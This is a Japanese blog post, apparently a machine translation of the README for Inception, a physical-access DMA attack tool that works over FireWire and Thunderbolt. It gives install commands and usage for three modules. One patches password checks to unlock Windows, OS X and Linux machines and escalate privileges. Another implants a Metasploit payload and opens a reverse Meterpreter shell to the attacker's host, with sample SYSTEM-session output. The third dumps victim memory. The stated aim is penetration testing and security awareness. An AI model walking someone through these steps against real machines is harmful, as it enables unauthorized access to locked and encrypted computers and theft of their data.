GitHubじゃ!Pythonじゃ!

GitHubからPython関係の優良リポジトリを探したかったのじゃー、でも英語は出来ないから日本語で読むのじゃー、英語社会世知辛いのじゃー

carmaa

inception – Inceptionは、PCIベースのDMAを利用する物理メモリの操作とハッキングツールです。 このツールは、FireWire、Thun..

投稿日:

Inceptionは、PCIベースのDMAを利用する物理メモリの操作とハッキングツールです。 このツールは、FireWire、Thunderbolt、ExpressCard、PCカード、その他のPCI / PCIeインターフェイスを介して攻撃することができます。 http://www.breaknenter.org/projects/i…

INCEPTION

Inceptionは、PCIベースのDMAを利用する物理メモリの操作とハッキングツールです。 このツールは、FireWire、Thunderbolt、ExpressCard、PCカード、その他のPCI / PCIe HWインターフェイスで攻撃することができます。

開始は、DMAを使用してライブコンピュータに対して侵入型および非侵入型のメモリハックを実行する比較的迅速で安定した簡単な方法を提供することを目指しています。

使い方

IEEE1394 FireWireインターフェイスを介して被害者マシンにSerial Bus Protocol 2(SBP-2)ユニットディレクトリを提示することにより、被害者オペレーティングシステムは、SBP-2デバイスがFireWireポートに接続したと考えます。 SBP-2デバイスは高速で大容量のバルクデータ転送(たとえば、FireWireハードドライブやデジタルビデオカメラ)にダイレクトメモリアクセス(DMA)を使用するため、シールドを低下させてデバイスのDMAを有効にします。 このツールは、犠牲者の下位4GBのRAMに完全な読み取り/書き込みアクセス権を持つようになりました。

DMAが許可されると、ツールは、使用可能なメモリページを検索して、オペレーティングシステムのコード内の特定のオフセットでシグネチャを検索します。 ツールが見つかると、このコードが操作されます。 たとえば、ロック解除モジュールでは、誤ったパスワードが入力された場合に起動されるオペレーティングシステムのパスワード認証モジュールが短絡してしまいます。

そのモジュールを実行した後、パスワードを使用して被害者マシンにログインできるはずです。

この操作の類推は、マシンのメモリにアイディアを植え付けることです。 すべてのパスワードが正しいという考え。 言い換えれば、[メモリ開始] 1と同等です。

ビールや私のサイドプロジェクトのように創業は自由です。

驚くばかり! しかし、なぜ?

世界の法医学者、政府、3文字の頭字語の機関はすでに[類似のツール] 2を使用しています。 したがって、あなたが反体制派であるか面識のない体制に直面している場合、このツールはOPSECがなぜ重要であるかを示しています。 ノートパソコンを絶対に見えない場所に放置しないでください。

警告

[OS X> 10.7.2] 6と[Windows> 8.1] 7は、ユーザがOSをロックして起動を妨げるとFireWire DMAを無効にします。 ユーザーがログオンしている間は、ツールは引き続き動作します。 しかし、これはあまり起こりえない攻撃シナリオIRLです。

さらに、ユーザーがログインしていても効果的にDMA要求をブロックし、すべての開始モジュールを阻止する、VT-Dが有効になっていますvtd[0] faultエントリをログ/コンソールに表示します。

この2つの警告は、2015年3月の時点で、このツールが有用なシナリオの数を徐々に減らしていきますが、[そこにあるマシンの70%は依然として脆弱です] 9

主要データ

このツールでは、LGPLライセンスの下で、Freddie libforensic1394から提供されたlibforensic1394ライブラリを利用しています。

要件

開始には次のものが必要です。

  • ハードウェア:
    • アタッカーマシン:ネイティブFireWireポート、ExpressCard / PCMCIA拡張ポート、またはThunderbolt-to-FireWireアダプタのいずれかを使用して、FireWireインターフェイスを備えたLinuxまたはMac OS X(ホスト/アタッカーマシン)。
    • 犠牲PC:FireWireまたはThunderboltインターフェイス、またはExpressCard / PCMCIA拡張ポート

Linuxは現在、OS XのバグのあるFirewireインターフェイスのために攻撃者側で推奨されています。ThunderBoltへの直接のThunderBoltは機能しませ .FireWireアダプタが必要です。 LinuxでThunderboltを使用しようとすると、走行距離が変わることがあります。

  • ソフトウェア:
    • Python 3
    • git
    • gcc(g ++を含む)
    • cmake
    • pip(依存関係の自動解決のため)
    • [libforensic1394] 3
    • msgpack

インストール

Debianベースのディストリビューションでは、インストールコマンドは次のように要約できます(rootでない場合は必要に応じてsudoを適用してください):

apt-get install git cmake g++ python3 python3-pip

OS Xでは、[homebrew] 4

brew install git cmake python3

要件をインストールしたら、libforensic1394をダウンロードしてインストールします。

wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install

導入のダウンロードとインストール

git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install

pipインストールされている場合、セットアップスクリプトは依存関係をインストールできるはずです。

一般的な使用法

  1. FireWireケーブルで攻撃者マシン(ホスト)と被害者(ターゲット)を接続します
  2. 実行の開始

単純に以下を入力してください:

incept [module name]

より完全で最新の説明は、次を実行してください:

incept -h

または[ツールのホームページ]を参照してください。5

モジュール

バージョン0.4.0から、インセプションはモジュール化されました。 現在のモジュールとその機能については、以下で説明します。

使用方法の詳細については、以下を実行してください。

incept [module name] -h

ロックを解除する

unlockモジュールは、物理的にアクセス可能なほとんどの電源投入されたマシンで、ロックを解除して(パスワードを受け入れて)、Administrator / rootに権限をエスカレートすることができます。 このモジュールは、主に、BitLocker、FileVault、TrueCrypt、Pointsecなどのフルディスク暗号化を利用するコンピュータに対して魔法を発揮するために使用されます。 暗号化されていないマシンをハッキングする方法は他にもたくさんあります。

ロック解除モジュールは、メインメモリが4 GiB以下のマシンでは安定しています。 ターゲットにそれ以上のものがある場合は、ツールが到達できる物理メモリページフレームにマップされたシグネチャを見つけるためには、幸運にも幸運を祈る必要があります。

このバージョンでは、次のx86およびx64オペレーティングシステムのロックを解除できます。

OS バージョン ロック画面のロックを解除する エスカレートの特権
ウィンドウズ8 8.1 はい(1) はい(1)
ウィンドウズ8 8.0 はい はい
Windows 7 SP1 はい はい
Windows 7 SP0 はい はい
Windows Vista SP2 はい はい
Windows Vista SP1 はい はい
Windows Vista SP0 はい はい
Windows XP SP3 はい はい
Windows XP SP2 はい はい
Windows XP SP1
Windows XP SP0
Mac OS X マーベリックス はい(1) はい(1)
Mac OS X マウンテンライオン はい(1) はい(1)
Mac OS X ライオン はい(1) はい(1)
Mac OS X ユキヒョウ はい はい
Mac OS X ヒョウ
Ubuntu 生意気 はい はい
Ubuntu ラーリング はい はい
Ubuntu Quantal はい はい
Ubuntu 正確 はい はい
Ubuntu Oneiric はい はい
Ubuntu ナティー はい はい
Linux Mint 13 はい はい
Linux Mint 12 はい はい
Linux Mint 12 はい はい

(1):上記の警告を参照してください。

PAMベースの認証を使用する他のLinuxディストリビューションでも、Ubuntuシグネチャを使用して動作する可能性があります。

このモジュールはまた、例えばrunassudo -sコマンドなどを使って特権のエスカレーションを効果的に可能にします。

実行

ロックを解除するには次のように入力します:

incept unlock

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: http://breaknenter.org/projects/inception | Twitter: @breaknenter

[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):

[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation

[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============>                                                ]  227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

インプラント

implantモジュールは、(メモリのみの)Metasploitペイロードをターゲットマシンの揮発性メモリに直接implantます。 これは、Metasploitのすべてのバージョンに含まれているmsfrpcdデーモンを介してMSFと統合されます。

現在のバージョンは、Windows 7 SP1 x86に対する概念実証としてのみ機能します。 他のOS、バージョン、アーキテクチャはサポートされておらず、今後サポートされる保証もありません。

実行

それを使用するには、 msfrpcd起動しmsfrpcd

msfrpcd -P [password]

その後、別の端末で開始を開始します。

incept implant --msfpw [password] --msfopts [options]

例として、ターゲットマシンから攻撃側のホストまで逆方向のTCPメータプリッタシェルを作成するには、まずmsfrpcdダーモンを起動し、コールバックをリッスンするコンソールを起動します。

msfrpcd -P password
msfconsole

コンソールでは、ペイロードの受信側を設定します。 EXITFUNCオプションをthreadに設定して、何かがうまくいかない場合にターゲットプロセスが確実に生き残るようにします。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j

次に、別の端末では、Inceptionを起動します。

incept implant --msfpw password --msfopts LHOST=172.16.1.1

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: http://breaknenter.org/projects/inception | Twitter: @breaknenter

[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
    x86. No other OSes, versions or architectures are supported, nor is there
    any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================>                             ]  537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================>                                    ]  434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

MSFコンソールには、次のようなものが表示されます。

msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6  172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

ダンプ

dumpモジュールは、ターゲットから攻撃ホストへのメモリのdump容易にします。

実行

incept dump

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: http://breaknenter.org/projects/inception | Twitter: @breaknenter

[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

既知のバグ/警告

一番上のコメントと[ツールのホームページ] 5をご覧ください。

トラブルシューティング

[ツールのホームページ] 5を参照してください。

計画されている機能

  • x64の信頼できるインプラント
  • VT-Dバイパス
  • カーネル(リング0)インプラント
  • より多くの署名

開発の歴史

  • 0.0.1 – 最初のバージョン、基本的なWindows XP SP3、Vistaおよび7、Mac OS XおよびUbuntu Gnomeのロック解除をサポート
  • 0.0.2 – 初期のXP SP3、Windows 7 x86およびx64 SP1のシグネチャを追加
  • 0.0.3 – いくつかの署名(Tekkenheadに感謝)とエラー処理を追加
  • 0.0.4 – 接続されたFireWireデバイスとメモリダンピング機能を表示するbusinfoを追加
  • 0.0.5 – メモリダンピング能力の強化とサンプルカタログの追加
  • 0.0.6 – ユニットテストの追加
  • 0.0.7 – アップデートされたUbuntuの署名とpriv。 エスカレーション – アルジェリアのアデル・ハルディ氏に感謝
  • Ubuntuのロック解除と特権エスカレーションパッチの修正 – ダブルアクション用の単一パッチ
  • 0.1.0 – 最初のマイナーバージョン! OS XとVistaのシグネチャと、いくつかのバグの修正
  • 0.1.1 – Ubuntu 12.04 LTSのシグネチャを追加
  • 0.1.2 – いくつかのバグをパッチした
  • 0.1.3 – パッチ付きOS X 10.6.8 x64シグネチャのバグ
  • 0.1.4 – 新しいシグネチャのテストを容易にする手動モードを追加
  • 0.2.0 – OS X Mountain Lion(10.8)およびWindows 8のシグネチャを追加
  • 0.2.1 – Ubuntu 12.10のシグネチャを追加
  • 0.2.2 – Linux Mintのシグニチャの追加
  • 0.2.3 – 一般的なコードのクリーンアップ、より良い、より一貫した出力
  • 0.2.4 – 進行状況バーを追加
  • 0.2.5 – ツールを実行するためにrootである必要がなくなりました
  • 0.2.6 – バグ修正
  • 0.3.0 – Ubuntu 13.04ターゲットのサポートを追加
  • 0.3.1 – OS X MavericsとWindows 8.1のサポートを追加
  • 0.3.2 – Ubuntu 13.10のバグ修正とサポート
  • 0.3.3 – 出力とエラー処理に関するバグ修正
  • 0.3.4 – マエストロ!
  • 0.3.5 – Ubuntu 10.10および10.04 x86シグネチャを追加
  • 0.4.0 – 完全なリストラと書き直し。 インプラントモジュールの追加
  • 0.4.1 – 統合されたSLOTSCREAMERインターフェイスのサポート
  • 0.4.2 – 新しい署名

免責事項

この道具で邪悪をしないでください。 また、私は開発者ではなく、ペンテスターです。 ですから、あなたの幻想的な純度感覚のバグという奇妙なコードが見えたら、私がそれをどのように改善できるかをメモしてください。 それとも、コードをフォークして変更し、プルリクエストを発行するのが良いでしょう。







-carmaa

執筆者: